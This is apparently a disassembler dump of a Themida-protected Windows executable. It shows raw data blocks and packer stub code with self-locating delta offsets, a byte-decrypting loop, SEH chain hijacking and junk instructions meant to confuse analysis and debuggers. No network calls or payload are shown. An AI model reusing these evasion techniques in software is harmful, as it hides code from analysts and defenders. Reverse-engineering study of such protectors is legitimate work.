		dd 77E7A144h, 0ACF89EB5h, 337E331Fh, 11h dup(0)
aM_1		db '<Œ¿Ä',0
		align 10h
		dd 2 dup(0)
		dd offset word_5AF3C2
		align 10h
		dd 9FB168h, 0
		dd 6E8h, 0A02292h, 7 dup(0)
		dd 77F50000h, 2	dup(0)
		dd 50455EECh, 1, 0FFFFF643h, 14628h, 0FE3F0050h, 6 dup(0)
		dd offset word_59BD0E
aDey		db 'Þ„¥Y',0
		align 10h
		dd 0
		dd 77DD0000h, 0Ch dup(0)
aWcW		db '×#ÝwæÐW',0
		dd 0
		dd 4, 0
		dd 0BFF74E53h, 0
		dd 12FF54h, 4 dup(0)
		dd 620h, 57FE6Ah, 53ED0Ch, 0A123E8h, 2 dup(0)
		dd offset word_577D1E
		dd 0D0h, 3 dup(0)
		dd 4C00h, 7 dup(0)
aCw_0		db 'µ\çw',0
		align 4
		dd 4 dup(0)
		dd 90h,	598944h, 0
		dd offset byte_57225B
		dd offset dword_577D0C
		dd 0
		dd offset dword_46713C+8A0h
dword_53FE38	dd 0B8h, 74C00B00h, 18C203h, 0C24448Bh,	0E853h,	815B0000h
					; DATA XREF: Themida_:0053F6BCo
		dd 17C3h, 245C8900h, 24448910h,	37B85B14h, 0FF00A0A0h
		dd 24448BE0h, 0E0FF04h,	1Ch dup(0)
aRSw		db '',27h,'èw',0
		align 4
		dd 5 dup(0)
		dd 0C9F3D910h, 1, 7FFE0304h, 5 dup(0)
		dd 0A11568h, 4 dup(0)
a0I_1		db 'ß0Å©',0
		align 4
		dd 2 dup(0)
		dd 77E6D706h, 0FFED00ACh, 6 dup(0)
		dd 5041647Dh, 1FFEB89Fh, 0
		dd offset dword_5BA704
		dd 35Bh, 0
		dd 79BF8DF8h, 3	dup(0)
		dd 12FFA4h, 2, 3 dup(0)
		dd 1C1E8h, 5 dup(0)
		dd 0A3A3E115h, 592175h,	2 dup(0)
		dd 0FF4FAEC8h, 3 dup(0)
		dd 8A0FB5E2h, 3	dup(0)
		dd offset dword_578CD8
		align 8
		dd offset dword_5A0880
aGSlsnd		db 'g,é«S¤',0
		dd 4 dup(0)
		dd 7FFE0304h, 2	dup(0)
		dd 37D0h, 0
		dd offset byte_568D47
		align 10h
		db 4, 3, 0FEh
byte_540023	db 7Fh			; DATA XREF: Themida_:0053E70Co
a7icw_0		db '7¨çw',0
		align 4
		dd offset byte_59696D
		dd offset byte_572283
aAq		db '}q`',0
		align 4
		dd 24160FAh, 0
		dd 0D1D0h, 0
		dd 1, 0
		dd 1, 8	dup(0)
aI_q		db 'Þ‰.Ÿ',0
		align 10h
		dd 0
		dd 3C600h, 0
aClmx		db 'c‹¬X',0
		align 4
		dd 5 dup(0)
		dd 5CFCB9E7h, 0Fh dup(0)
		dd 77E80591h, 4	dup(0)
		dd offset byte_5ACAE7
		dd 2 dup(0)
		dd 1FFEB89Fh, 9	dup(0)
aSSw		db 'è/èw',0
		align 4
		dd 4 dup(0)
aHmv		db 8,'HMV',0
		align 10h
		dd 5 dup(0)
		dd 0A0A00Fh, 3 dup(0)
		dd 17D3h, 0
		dd 400000h, 0
aJcwl		db ';JçwL]',0
		db 'ê',0
		align 10h
		dd 4 dup(0)
		dd offset dword_5AD478
		dd 0Bh dup(0)
		dd offset word_57C542
		align 8
		dd 0FD94BE6Ch, 7 dup(0)
		dd 24160FAh, 7 dup(0)
		dd 690105F0h, 3	dup(0)
		dd 0FF5F5FF1h, 0
		dd 4ACAh, 7FFE0304h, 0
		dd 1000h, 5 dup(0)
		dd 0FFA8F5EAh, 0
aCpA		db 'Þ—p+ ',0
		align 4
		dd 4 dup(0)
		dd 39F0F65Dh, 0
		dd 5494h, 0
		dd 0FFFE9F64h, 0Fh dup(0)
		dd 0A11568h, 12h dup(0)
a2Z		db '2²Äz',0
		align 10h
aM_2:
		unicode	0, <Œ>,0
aNnib		db 'ˆb',0
		align 4
		dd 11h dup(0)
		dd 7FFE63EFh, 12FFC4h, 0
		dd offset word_57D0E6
		dd 0
		dd 2, 0
aNnF		db 'ÀF',0
		align 4
		dd 0Ah dup(0)
		dd 7FFE0304h, 0
		dd 4BA6F984h, 0
		dd 5B7F6FFFh, 0
		dd offset word_58D91E
		dd 183E2433h, 0
		dd 0FFFFFFFCh, 0A4h, 5 dup(0)
		dd 0A069DDh, 13h dup(0)
		dd 8A0F0000h, 3	dup(0)
		dd 39h,	0FFFF9468h, 0BA3AF05Ch,	59E29Fh, 77E7A144h, 3 dup(0)
		dd 7FFE0304h, 8	dup(0)
		dd 0FF8BB7D8h, 0A9C530DFh, 0A09499h, 0
		dd 84FA00A6h, 4	dup(0)
		dd 14CCFBB5h, 3	dup(0)
		dd 0E42EF049h, 28C0693h, 0FFFFF448h, 3 dup(0)
		dd 803h, 2Bh, 4	dup(0)
		dd 0A009F7h, 40000h, 0DB40EFF5h, 0
		dd offset byte_5ACF33
		dd 3 dup(0)
		dd offset word_578D0A
		dd offset aZyQrs+3
		dd 7 dup(0)
		dd offset aA_2		; "`aÂ\b"
		dd 9 dup(0)
		dd 0E361h, 77E78B82h, 0
aZaxa		db '§aX€',0
		align 4
		dd 0
		dd 0B70000h, 5AEA79h, 3	dup(0)
		dd 2, 7FFE0304h, 5643h,	87h dup(0)
		dd offset dword_5A7EC4
		dd 0
		dd 1, 9	dup(0)
		dd 7FFE0304h, 6	dup(0)
		dd 1B18F31Bh, 3	dup(0)
		db '{Û;',0Ah,0
		align 4
aZz		db 'zz',0
		align 4
		dd 3 dup(0)
aApy		db '\¯y',0
		align 10h
aS_6:
		unicode	0, <˜>,0
		align 8
aSy		db 'ݵéy',0
		align 10h
		dd offset dword_575390
		dd 4 dup(0)
aCm_0		db '–ŒìÓ',0
		align 10h
		dd 0FFA8ADCEh, 0
		dd offset byte_5AB395
		dd 18h dup(0)
		dd 0A09C37h, 5 dup(0)
		dd 7A02h, 1C27199Dh, 2 dup(0)
		dd 61223330h, 7FFE0304h, 2 dup(0)
aHSw_0		db 'h!èw',0
		align 4
		dd 2 dup(0)
		dd offset dword_574C40
		dd 78AE171Bh, 2	dup(0)
		dd 0A0A00Fh, 3 dup(0)
		dd offset byte_5B3897
		dd 800019D2h, 0
		dd 0A05E2Eh, 4 dup(0)
		dd offset byte_57A3A1
		align 10h
		dd 0FFA58DFEh, 5B6DDDh,	0FF5F73F6h, 0
		dd offset word_54196E
		dd 0A03E3Bh, 0
		dd offset dword_542170
		dd 181B790Dh, 0
		dd offset byte_5A8015
		dd 7Ch,	6329C1BDh, 9 dup(0)
		dd 7FFEA1B5h, 3	dup(0)
		dd 0B377F7D8h, 22h dup(0)
		dd offset word_5771A6
		align 10h
		dd 77E7A13Fh, 3158E30h,	3 dup(0)
		dd offset dword_575390
		dd 3 dup(0)
		dd 758E9h, 6 dup(0)
aNnqq		db 'QŸ',0
		align 4
		dd 0
		dd 7FFE0304h, 4	dup(0)
		dd offset dword_596AFC
		dd 25B0000h, 577D0Ch, 3	dup(0)
		dd offset byte_585A2F
		dd 0Bh dup(0)
		dd offset word_54196E
		dd 1, 0
		dd 800133A9h, 2	dup(0)
		dd offset dword_4DE000
		align 8
		dd 0E025CBF0h, 2 dup(0)
		dd 77DD189Ah, 0
		dd 7FFE0304h, 2	dup(0)
		dd 77D40000h, 0
		dd 0A11568h, 36363636h,	3 dup(0)
		dd 800133A9h, 0
aRT		db 'Éà|â',0
		align 4
		dd 2 dup(0)
		dd 8A2F3AEBh, 0A0A00Fh,	7 dup(0)
		dd offset word_5729CE
		dd 5 dup(0)
		dd 0A8h, 0
		dd 6A064Bh, 2 dup(0)
		dd 82A28D8Dh, 4, 5A86F6h, 0
		dd 0D6Ch, 0
		dd 12FF34h, 94h, 0
		dd 7FFE0304h, 2	dup(0)
		dd 7A02h, 0F90h, 3 dup(0)
		dd offset dword_577D0C
		dd 7FFE0304h, 2	dup(0)
		dd 5022181Bh, 0A069DDh,	6 dup(0)
		dd offset word_570A16
		align 8
		dd 0FFED00ACh, 0A0915Bh, 2 dup(0)
		dd 7FFE0304h, 571FE8h, 0
dword_540C74	dd 77E60000h, 2D5E3840h, 64h dup(0) ; DATA XREF: Themida_:00540EC4o
		dd offset dword_594534
		dd 3 dup(0)
		dd 540DD29Dh, 77F7EBB3h, 2 dup(0)
		dd 77A2B2DBh, 7E1A8D14h, 7FFE0BFDh, 0FFA676BCh,	3 dup(0)
		dd 0A0A00Fh, 4 dup(0)
		dd 170B69h, 7650EF77h, 9 dup(0)
		dd 12FFA4h, 77EBA6E9h, 3 dup(0)
		dd 0FFFF85FEh, 9FD554h,	2 dup(0)
		dd 1FFEB89Fh, 54196Eh, 5057F0F5h, 2 dup(0)
		dd offset byte_5A5C19
		dd offset dword_540C74+9
		dd 26ECE99h, 7 dup(0)
		dd 2, 2	dup(0)
		dd 0FFFF95A4h, 77E8360Ch, 0
		dd 9F8E620Fh, 0Fh dup(0)
		dd 0A08C0Ah, 7 dup(0)
		dd 7FFE0304h, 3	dup(0)
aX0		db '•',0Dh,'Ô0',0
		align 4
aI_1:
		unicode	0, <ˆ>,0
		align 10h
		dd offset word_57C6FA
		dd 4 dup(0)
		dd 0B015h, 0
		dd 0FC7EE388h, 0
aW		db 'Ì^Ýw',0
		align 4
		dd 7FFE0304h, 312D3430h, 5 dup(0)
		dd 77D4C96Ah, 7FFE0304h, 2 dup(0)
		dd 1, 0
		dd offset dword_578CD8
		dd 2 dup(0)
		dd offset byte_5A9141
		dd 8 dup(0)
		dd 5928h, 0
aV_0		db '»vÛê',0
		align 10h
		dd offset byte_5A0447
		dd 0
		dd 0AE0000h, 4 dup(0)
		dd 0F2DCEC1h, 0FFA8ADCEh, 77E7AC5Eh, 9B0904D3h,	3 dup(0)
		dd 1A677DB1h, 2	dup(0)
		dd offset dword_575390
		dd 78h,	2B135BF7h, 3 dup(0)
		dd 7FFE0304h, 5	dup(0)
		dd 9F0FE6h, 540274h, 9 dup(0)
		dd 0A49995h, 2 dup(0)
		dd offset word_5924EA
		dd 4 dup(0)
aVcw		db 'Ívçw',0
		align 10h
		dd 7A02h, 3 dup(0)
aJmom		db 'JŒOm',0
		align 4
		dd 6 dup(0)
		dd 0A070C4h, 2Bh dup(0)
		dd 55FAEAE4h, 5	dup(0)
		dd offset byte_570023
		dd 3 dup(0)
		dd offset word_57BBE2
		align 10h
		dd offset aA_2		; "`aÂ\b"
		dd 2 dup(0)
		dd 0AEB1CAh, 4 dup(0)
		dd 6819BFEDh, 2	dup(0)
		dd 19h,	5849CDh, 7 dup(0)
		dd offset sub_401000
		align 8
		dd 1FDA3410h, 7158D54Ah, 0
		dd 0A0FA56h, 2 dup(0)
		dd 0FFAC12F4h, 4 dup(0)
		dd 77E78B82h, 7FA6BABFh, 0Ah dup(0)
		dd 4B54ACF7h, 0
		dd 7A02h, 6 dup(0)
		dd 3BE78h, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_5412E0:				; CODE XREF: start:loc_53DF73j
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 6453377h
		mov	[ebp+6452401h],	edx
		mov	[ebp+645154Dh],	esi
		mov	[ebp+64514C5h],	eax
		cmp	dword ptr [ebp+64503F9h], 0
		jz	short loc_541318
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------

loc_541318:				; CODE XREF: start+612F6j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+6450CB1h],	eax
		push	45h
		call	sub_5413CC
		push	783749Ah
		call	sub_541412
		push	0A894B25h
		call	sub_541412
		jmp	loc_541556
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 4645h
		dd 4A494847h, 4E4D4C4Bh, 5251504Fh, 56555453h, 5A595857h
		dd 5E5D5C5Bh, 6261605Fh, 66656463h, 6A696867h, 6E6D6C6Bh
		dd 7271706Fh, 76757473h, 7A797877h, 7E7D7C7Bh, 8281807Fh
		dd 86858483h, 8A898887h, 8E8D8C8Bh, 9291908Fh, 96959493h
		dd 9A999897h, 9E9D9C9Bh, 0A2A1A09Fh, 0A6A5A4A3h, 0AAA9A8A7h
		dd 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h, 0BAB9B8B7h, 0BEBDBCBBh
		dd 0C2C1C0BFh, 0C3h, 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5413CC	proc near		; CODE XREF: start+61310p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 6453465h
		mov	ebx, edx
		mov	[ebp+var_28], 0

loc_5413E8:				; CODE XREF: sub_5413CC+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_541407
		mov	eax, [ebp+arg_0]
		mov	[ebx+64533CFh],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_5413E8
; ---------------------------------------------------------------------------

loc_541407:				; CODE XREF: sub_5413CC+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_5413CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_541412	proc near		; CODE XREF: start+6131Ap start+61324p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 64534AEh
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0

loc_541438:				; CODE XREF: sub_541412+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_541438
		mov	[ebp+var_84], 0
		lea	edi, [edx+64533CFh]
		lea	esi, [ebp+var_80]

loc_541468:				; CODE XREF: sub_541412+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh

loc_541474:				; CODE XREF: sub_541412+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_541474
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_541468
		popa
		leave
		retn	4
sub_541412	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_5414B2
; ---------------------------------------------------------------------------

loc_5414AE:				; CODE XREF: Themida_:005414B5j
		inc	dword ptr [ebp-4]
		inc	esi

loc_5414B2:				; CODE XREF: Themida_:005414ACj
		cmp	byte ptr [esi],	0
		jnz	short loc_5414AE
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_541543
; ---------------------------------------------------------------------------

loc_5414C4:				; CODE XREF: Themida_:00541546j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_54153A
; ---------------------------------------------------------------------------

loc_5414CD:				; CODE XREF: Themida_:0054153Ej
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_541527
; ---------------------------------------------------------------------------

loc_5414DD:				; CODE XREF: Themida_:0054152Bj
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_5414FF
		cmp	bl, 39h
		ja	short loc_5414FF
		sub	bl, 30h
		jmp	short loc_541521
; ---------------------------------------------------------------------------

loc_5414FF:				; CODE XREF: Themida_:005414F3j
					; Themida_:005414F8j
		cmp	bl, 61h
		jb	short loc_541511
		cmp	bl, 66h
		ja	short loc_541511
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_541521
; ---------------------------------------------------------------------------

loc_541511:				; CODE XREF: Themida_:00541502j
					; Themida_:00541507j
		cmp	bl, 41h
		jb	short loc_541521
		cmp	bl, 46h
		ja	short loc_541521
		sub	bl, 41h
		add	bl, 0Ah

loc_541521:				; CODE XREF: Themida_:005414FDj
					; Themida_:0054150Fj ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]

loc_541527:				; CODE XREF: Themida_:005414DBj
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_5414DD
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_541537
		mov	eax, [ebp-10h]
		stosb

loc_541537:				; CODE XREF: Themida_:00541531j
		inc	dword ptr [ebp-8]

loc_54153A:				; CODE XREF: Themida_:005414CBj
		cmp	dword ptr [ebp-8], 2
		jb	short loc_5414CD
		add	edx, 4

loc_541543:				; CODE XREF: Themida_:005414C2j
		cmp	edx, [ebp-4]
		jb	loc_5414C4
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_541556:				; CODE XREF: start+61329j
		mov	ecx, 7000h
		lea	edi, [ebp+64535F4h]

loc_541561:				; CODE XREF: start+61551j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_541561
		mov	eax, 48692121h
		mov	edx, 0F00E0000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+6453701h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		call	near ptr loc_5415A7+4
		push	ss
		aaa
		push	ebp
		sar	bl, 1Bh
		insd
		in	eax, 75h
		bound	ebx, [edi-10h]
		idiv	byte ptr [ebx-0Dh]
		xchg	eax, ecx

loc_5415A7:				; CODE XREF: start+6157Ep
		rcr	dword ptr [edx-7756818h], cl
		pop	ebx
		mov	bx, 33Fh
		sub	eax, edx
		push	0
		push	ecx
		call	sub_5415BF
		and	[ecx-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_5415BF	proc near		; CODE XREF: start+615A3p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5415BF	endp

; ---------------------------------------------------------------------------
aUKFl		db 'Èž',0Dh,'ÅŠÙf‹Þ%',0
		dw 0FFF0h
		dd 0DBE381FFh, 66505D7Ch, 8B1EE4BBh, 66FF33CAh,	5A4D3881h
		dd 0B70F0E75h, 0D0033C50h, 45503A81h, 8740000h,	10002Dh
		dd 0E3EB4700h, 58F64h, 83000000h, 958D04C4h, 6453714h
		dd 35FF6452h, 0
		dd 258964h, 3000000h, 10002DC1h, 708B0000h, 0E68104h, 81FFFF00h
		dd 0FEh, 8B037680h, 0C0331C70h,	7432F883h, 3E81661Fh, 9745A4Dh
		dd 0EE81h, 0EB400001h, 3C7E8BEBh, 3F81FE03h, 4550h, 0E8EB4474h
		dd 58F64h, 83000000h, 0C36104C4h, 244C8B51h, 0B0A98110h
		dd 0
		dd 59000010h, 51C3C033h, 10244C8Bh, 0E855h, 815D0000h
		dd 45371FEDh, 0DD858D06h, 89064536h, 0B881h, 33595D00h
		dd 6496C3C0h, 58Fh, 0C4830000h,	8B66F804h, 0D98C66D8h
		dd 18D0Fh, 80F50000h, 0B06004E1h, 38D0F5Fh, 0F000000h
		dd 0A61C9B7h, 19850FC9h, 8B000000h, 2585C7DAh, 1064500h
		dd 0BB000000h, 7D7A4C44h, 0E9DE8B66h, 30h, 2585C7h, 645h
		dd 11E80000h, 0C6000000h, 0C932823Ah, 340AF39h,	0EF61DABh
		dd 2B6D59FBh, 6830Fh, 0CB810000h, 6FF4C3EEh, 58C3805Bh
		dd 9858589h, 8D0F0645h,	16h, 11E9h, 0FCA3C900h,	0ABEDAE7Eh
		dd 65CED2D7h, 0DD4A71A7h, 8589C809h, 64509D5h, 12E8h, 0D8B6A400h
		dd 3EA6CCFDh, 179C7738h, 0AE829ED7h, 8BB4ADC9h,	0C08158D6h
		dd 6E67h, 58C0Fh, 0A7BA0000h, 682453CDh, 1B66h,	7E8h, 80880A00h
		dd 7715870Dh, 5E9h, 0A0068800h,	5E5B38D6h, 5E8h, 75522A00h
		dd 0EB81CFE9h, 46480C15h, 66388B5Bh, 0EF81CF8Bh, 2E16D7EEh
		dd 5E9h, 3D0AF900h, 0F78173CBh,	38B43576h, 0C781C88Ah
		dd 253ED00Bh, 8D38B966h, 0BB575257h, 25E40422h,	8F5B59h
		dd 0E8F48A60h, 0Bh, 2D8FD053h, 8E07AEB8h, 592F4BE8h, 90E88161h
		dd 663D3A0Ah, 815C67B9h, 3A0A8CC0h, 11E83Dh, 0C98F0000h
		dd 0F2B375BCh, 0D6AC4A06h, 480425ECh, 662189D2h, 835AD08Bh
		dd 850F01EEh, 0FFFFFF85h, 0E876BA66h, 0CE8h, 117A0E00h
		dd 9580BCAh, 7C13A17Dh,	9890F1Fh, 60000000h, 8A0FF9h, 61000000h
		dd 0C6B70F5Fh, 7199C781h, 33FC0000h, 605756D2h,	0FF5E5861h
		dd 56593A34h, 58C78B66h, 7571C181h, 0F28B27A0h,	8E4C181h
		dd 19B73D3Ch, 187DE981h, 0F6813D45h, 59A5F446h,	10E95051h
		dd 59000000h, 0F186BD9Dh, 692BB5C5h, 4979305Bh,	5B9D5F25h
		dd 0F17048Fh, 28Bh, 0E939B300h,	14h, 0AF6D5582h, 0BBE40734h
		dd 91B6FFC6h, 437AD038h, 392AA182h, 6601EA83h, 4A4F70B8h
		dd 0E9604A4Ah, 0Bh, 3C05E8F8h, 0D40F3826h, 66BF4565h, 8161F18Bh
		dd 0FF8F60FAh, 2D850FFFh, 0F000000h, 0E8Ch, 5E96000h, 2000000h
		dd 630DA492h, 0E9615E52h, 2Ah, 5B0E96E6h, 0B138289Fh, 728ADFFEh
		dd 92B23FE8h, 92685834h, 0E9C78B66h, 0FFFFFF3Fh, 3401722Dh
		dd 30148F41h, 335D27D8h, 58E94E04h, 0F000007h, 0C80h, 68F0F00h
		dd 89000000h, 45289DBDh, 49BD8906h, 1706452Fh, 0B000002h
		dd 0E9000000h, 6, 0E24CC36Dh, 181Fh, 1CF5BD89h,	0BE90645h
		dd 5B000000h, 0C6B89507h, 0F7A205AEh
		db 0F7h, 0B2h
word_54196E	dw 3160h		; DATA XREF: Themida_:00540980o
					; Themida_:00540B18o
		dd 4522658Dh, 1C02B06h,	45302995h, 24548B06h, 8E928h, 0ED070000h
		dd 53FDA90Ah, 8589D4D1h, 64506FDh, 0F98D8B60h, 0F8064502h
		dd 3CBE61h, 8C0F0000h, 6, 0BD59529h, 74030645h,	56602424h
		dd 2055BD8Bh, 89590645h, 4524FD85h, 0AD666106h,	6E9h, 843FEA00h
		dd 37118D4h, 89242444h,	45188185h, 0EE95006h, 0E2000000h
		dd 0F53BC80Ah, 0E9548529h, 46320148h, 24048911h, 7E9h
		dd 7D5C1600h, 3B1A0516h, 6078408Bh, 28E0Fh, 5B520000h
		dd 1045BD29h, 3610645h,	0F8282444h, 6018408Bh, 2105B501h
		dd 860F0645h, 6, 1E619D8Bh, 40610645h, 18F99589h, 85890645h
		dd 64539D0h, 10E960h, 61AC0000h, 0CB99964Bh, 0E38D8DBFh
		dd 665C3139h, 23BA0B27h, 610EC78Fh, 0AE958h, 2E410000h
		dd 0D8CA2C5Fh, 772A7F61h, 0E978708Bh, 10h, 0D8485A5Bh
		dd 62BFBACFh, 0F1890211h, 95AE9646h, 0E91CC683h, 8, 303C2F7Ch
		dd 0C01A6810h, 252DB529h, 74030645h, 6E92424h, 0A0000000h
		dd 0B28392BBh, 51BD8DAEh, 0F5064523h, 6840FADh,	89000000h
		dd 45016DBDh, 9E906h, 2C6E0000h, 0E891062Bh, 36E0254h
		dd 0F242444h, 888h, 95896000h, 645015Dh, 8E9AB61h, 81000000h
		dd 0E0FFA065h, 8D3A2D71h, 451E51BDh, 0FADF506h,	158Bh
		dd 10E900h, 84190000h, 42C434FEh, 0DE8A2365h, 7E18BB76h
		dd 4403C892h, 95012424h, 6451229h, 0C8F0F90h, 0F000000h
		dd 686h, 8B0F00h, 50000000h, 128F0Fh, 52500000h, 310F5250h
		dd 310F585Ah, 310F5250h, 585A585Ah, 0B1952990h,	0AB064502h
		dd 245B589h, 0BD8D0645h, 64518EDh, 99958960h, 66064504h
		dd 660CC981h, 880FAD61h, 9, 665B5360h, 0C487C681h, 24440361h
		dd 0DDB58928h, 0AB064501h, 4159D01h, 895E0645h,	45205D95h
		dd 0D08DFF06h, 83064539h, 4539D0BDh, 10750006h,	1C2444C7h
		dd 0
		dd 3ED3B58Dh, 0E6FF0645h, 4403AD56h, 8B972824h,	29858ADFh
		dd 84064518h, 3A0474C0h, 574C7507h, 75AEC032h, 0FB2B5EFDh
		dd 0C933FC52h, 33D18B49h, 0ACDB33C0h, 0CD8AC132h, 0D68AEA8Ah
		dd 0D16608B6h, 0D8D166EBh, 35660973h, 81665041h, 0FE5449F3h
		dd 33EB75CEh, 4FD333C8h, 0D2F7D575h, 0C28BD1F7h, 6610C0C1h
		dd 3B5AC18Bh, 5E0F74D0h, 0FF04C683h, 4506FD85h,	0FF6FE906h
		dd 895EFFFFh, 452F85B5h, 0EE906h, 0CFF50000h, 979CF791h
		dd 31CB4BE4h, 0C7D9D3DEh, 0E99D31F5h, 8B064512h, 4506FD85h
		dd 830F6006h, 0Bh, 6E9h, 0ECFEEC00h, 660AEC8Dh,	0D161CF8Bh
		dd 0D800FE0h, 0E9000000h, 8, 99303BE5h,	76D7D9Dh, 18ED8503h
		dd 0E8600645h, 14h, 5F096A80h, 0C59948D1h, 2B5778ADh, 42A032C3h
		dd 0DD6FD429h, 0C98D295Fh, 61064502h, 9589F62Bh, 64511C9h
		dd 8A0FFC96h, 6, 2571BD89h, 0AD660645h,	2E0C1FCh, 14E9h
		dd 0CD587F00h, 0C4D5D099h, 2E3CCDCDh, 0EDFDEB2Ch, 0E1831778h
		dd 68E0F02h, 29000000h,	45256185h, 51850306h, 89064523h
		dd 4517659Dh, 850F9606h, 6, 8F98D89h, 0F600645h, 68Dh
		dd 0F59D8B00h, 66064520h, 0AD61D68Bh, 12E9h, 2A359C00h
		dd 0CC5382F5h, 4B967DDCh, 0DF82C94Dh, 8BEE4D2Eh, 2924244Ch
		dd 450305BDh, 0DE906h, 11790000h, 144BCF4Fh, 0C89863ECh
		dd 3DE89B9h, 60242444h,	2CA19D8Bh, 24B40645h, 24448961h
		dd 0E985311Ch, 8906452Eh, 451F69B5h, 0F609606h,	820FC2BFh
		dd 6, 559B589h,	0AC610645h, 13850Fh, 0EE90000h,	0D000000h
		dd 33699306h, 8CF1AFD0h, 0D6EFD0F3h, 0C870FFDh,	0E9000000h
		dd 7, 41A19B51h, 32F95CF2h, 6850FC9h, 89000000h, 452D018Dh
		dd 89C1FE06h, 45125D95h, 0FD0D006h, 9D83h, 0D0D0F800h
		dd 94830Fh, 0D0F90000h,	8B820FD0h, 89000000h, 450675B5h
		dd 0FD0D006h, 7D82h, 80576000h,	8B5AE6F1h, 45025DBDh, 0C9FE6106h
		dd 0FFC3890Fh, 0F60FFFFh, 289h,	23C6B300h, 4516D9B5h, 0E9606106h
		dd 0Eh,	27EC5838h, 723295A1h, 5D9082A0h, 8B66B876h, 0C48361D1h
		dd 18D8920h, 0C706452Ch, 0FC2444h, 0F000000h, 180h, 1B8F800h
		dd 9000000h, 452F11B5h,	148D8D06h, 0F8064572h, 870FE1FFh
		dd 0Eh,	9E9h, 0BAC6BC00h, 3E9EDBF0h, 85C6F760h,	6451829h
		dd 0FE900h, 73600000h, 14B8E316h, 9DEE097Bh, 0B6C03AECh
		dd 8E9616Ch, 0D0000000h, 0EAFDD6EFh, 0C29F2B33h, 9D890008h
		dd 6451849h, 14860F50h,	0F000000h, 0E80h, 9E900h, 71850000h
		dd 0F368FF58h, 896030ECh, 0B5892434h, 64516E1h,	40DFB589h
		dd 0BD010645h, 64505B5h, 40F08D89h, 8D890645h, 6452559h
		dd 3FA5B58Dh, 10E90645h, 7F000000h, 891F19F4h, 112A4934h
		dd 0D79BAF1Ah, 60E66D82h, 11B99D29h, 0C28B0645h, 35858D61h
		dd 60005B7Eh, 89CFB70Fh, 4508818Dh, 0D0FF6106h,	12810Fh
		dd 0DE90000h, 92000000h, 933F8FF2h, 0DBCC130h, 0B3C3BA8Bh
		dd 19D295Eh, 0C306450Bh, 6840Fh, 0BD890000h, 64505A9h
		dd 40DFB58Bh, 95890645h, 64530D5h, 61606060h, 9296BB66h
		dd 21B58961h, 6106450Dh, 40F08D8Bh, 880F0645h, 6, 2ED99529h
		dd 0B80645h, 0F5000000h, 9D31D98Bh, 6452CC1h, 0B5E9h, 2632FC00h
		dd 0BE9h, 4CA1CC00h, 0DD10AB98h, 4F3B0AC7h, 8D8902B2h
		dd 6452339h, 68E9h, 14E9F500h, 60000000h, 0FDAF4CDEh, 0CE722809h
		dd 0EBA5CC5h, 2D6DF3F7h, 323C0A1Eh, 952360C2h, 6452CC1h
		dd 97E78166h, 7A056130h, 898A751Dh, 4505A195h, 0FCC8A06h
		dd 0C85h, 6810F00h, 89000000h, 452F39BDh, 31C8D306h, 45248985h
		dd 8423506h, 0FEFC98D1h, 295760CAh, 452425BDh, 9D8B5A06h
		dd 6450BD5h, 0FD20A61h,	0FFFFAA85h, 108C0FFFh, 0F000000h
